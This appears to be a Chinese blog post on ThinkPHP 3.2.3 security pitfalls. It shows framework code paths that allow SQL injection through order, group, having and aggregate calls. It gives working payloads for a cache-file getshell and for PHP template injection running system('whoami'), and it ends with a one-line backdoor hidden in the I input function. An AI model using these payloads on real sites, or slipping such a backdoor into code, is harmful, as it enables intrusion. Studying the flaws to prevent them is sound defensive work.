order by注入
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user"); // 实例化User对象
$order = I('GET.order');
$res = $User->order($order)->find();
}
}
|
thinkphp通过__call
方法实现特殊方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
/**
* 利用__call方法实现一些特殊的Model方法
* @access public
* @param string $method 方法名称
* @param array $args 调用参数
* @return mixed
*/
public function __call($method,$args) {
if(in_array(strtolower($method),$this->methods,true)) {
// 连贯操作的实现
$this->options[strtolower($method)] = $args[0];
return $this;
}
...
}
|
$args[0]
没有经过任何过滤就被传入到$this->options['order']
中,而同样在parseOrder
中没有经过任何过滤就拼接到sql语句中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
protected function parseOrder($order) {
if(is_array($order)) {
$array = array();
foreach ($order as $key=>$val){
if(is_numeric($key)) {
$array[] = $this->parseKey($val);
}else{
$array[] = $this->parseKey($key).' '.$val;
}
}
$order = implode(',',$array);
}
return !empty($order)? ' ORDER BY '.$order:'';
}
|
接下来的利用方法就跟前面提到的find()
注入差不多
group注入
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user"); // 实例化User对象
$group = I('GET.group');
$res = $User->group($group)->find();
}
}
|
1
2
3
|
protected function parseGroup($group) {
return !empty($group)? ' GROUP BY '.$group:'';
}
|
利用方法同上
having注入
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user"); // 实例化User对象
$having = I('GET.having');
$res = $User->having($having)->find();
}
}
|
1
2
3
|
protected function parseHaving($having) {
return !empty($having)? ' HAVING '.$having:'';
}
|
利用方法同上
count sum min max avg注入
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user"); // 实例化User对象
$count = I('GET.count');
$res = $User->count($count);
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
/**
* 聚合查询
* @access public
* @param string $aggregate 聚合方法
* @param string $field 字段名
* @param bool $force 强制转为数字类型
* @return mixed
*/
public function aggregate($aggregate, $field, $force = false)
{
if (!preg_match('/^[\w\.\*]+$/', $field)) {
throw new Exception('not support data:' . $field);
}
$result = $this->value($aggregate . '(' . $field . ') AS tp_' . strtolower($aggregate), 0, $force);
return $result;
}
/**
* COUNT查询
* @access public
* @param string $field 字段名
* @return integer|string
*/
public function count($field = '*')
{
if (isset($this->options['group'])) {
if (!preg_match('/^[\w\.\*]+$/', $field)) {
throw new Exception('not support data:' . $field);
}
// 支持GROUP
$options = $this->getOptions();
$subSql = $this->options($options)->field('count(' . $field . ')')->bind($this->bind)->buildSql();
$count = $this->table([$subSql => '_group_count_'])->value('COUNT(*) AS tp_count', 0);
} else {
$count = $this->aggregate('COUNT', $field);
}
return is_string($count) ? $count : (int) $count;
}
/**
* SUM查询
* @access public
* @param string $field 字段名
* @return float|int
*/
public function sum($field)
{
return $this->aggregate('SUM', $field, true);
}
/**
* MIN查询
* @access public
* @param string $field 字段名
* @param bool $force 强制转为数字类型
* @return mixed
*/
public function min($field, $force = true)
{
return $this->aggregate('MIN', $field, $force);
}
/**
* MAX查询
* @access public
* @param string $field 字段名
* @param bool $force 强制转为数字类型
* @return mixed
*/
public function max($field, $force = true)
{
return $this->aggregate('MAX', $field, $force);
}
/**
* AVG查询
* @access public
* @param string $field 字段名
* @return float|int
*/
public function avg($field)
{
return $this->aggregate('AVG', $field, true);
}
|
没有经过过滤就拼接到sql语句中
除此之外还有不少sql注入同样是由于开发者错误的将用户传入的参数传递给thinkphp
水文-Thinkphp3.2.3安全开发须知
缓存getshell
1
2
3
4
5
6
7
8
9
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$shell = I('GET.shell');
S('shell',$shell);
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#ThinkPHP/Common/functions.php
function S($name,$value='',$options=null) {
static $cache = '';
...
}elseif(empty($cache)) { // 自动初始化
$cache = Think\Cache::getInstance();
}
...
else { // 缓存数据
if(is_array($options)) {
$expire = isset($options['expire'])?$options['expire']:NULL;
}else{
$expire = is_numeric($options)?$options:NULL;
}
return $cache->set($name, $value, $expire);//
}
}
#ThinkPHP/Library/Think/Cache/Driver/File.class.php
//class File extends Cache
public function set($name,$value,$expire=null) {
...
$filename = $this->filename($name);
$data = serialize($value);
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data,3);
}
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
$result = file_put_contents($filename,$data);
...
}
private function filename($name) {
$name = md5(C('DATA_CACHE_KEY').$name);
...
else{
$filename = $this->options['prefix'].$name.'.php';
}
return $this->options['temp'].$filename;
}
|
文件名是$name
的md5
写入的数据经过了序列化
最终文件路径为./Application/Runtime/Temp/2591c98b70119fe624898b1e424b5e91.php
1
2
3
|
<?php
//000000000000s:4:"asdf";
?>
|
传入shell=%0aphpinfo();//
1
2
3
4
|
<?php
//000000000000s:13:"
phpinfo();//";
?>
|
特殊情况下造成命令执行
$this->show
和$this->display
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$info = I('GET.info');
$this->show($info);
$this->display('','','',$info);
$info = I('GET.info','','');#没有对<和>进行转义
$this->show($info);
$this->display('','','',$info);
}
}
|
info=<?php system('whoami');?>
在Application/Runtime/Cache/Home
会生成对应的模板文件
$this->fetch
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$info = I('GET.info');
$template=$this->fetch('',$info);
var_dump($template);
$info = I('GET.info','','');#没有对<和>进行转义
$template=$this->fetch('',$info);
var_dump($template);
}
}
|
info=<?php system('whoami');?>
在Application/Runtime/Cache/Home
会生成对应的模板文件
- 利用
I
函数留下后门
1
2
3
4
5
6
7
8
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
I('POST.info','',I('GET.info'));
}
}
|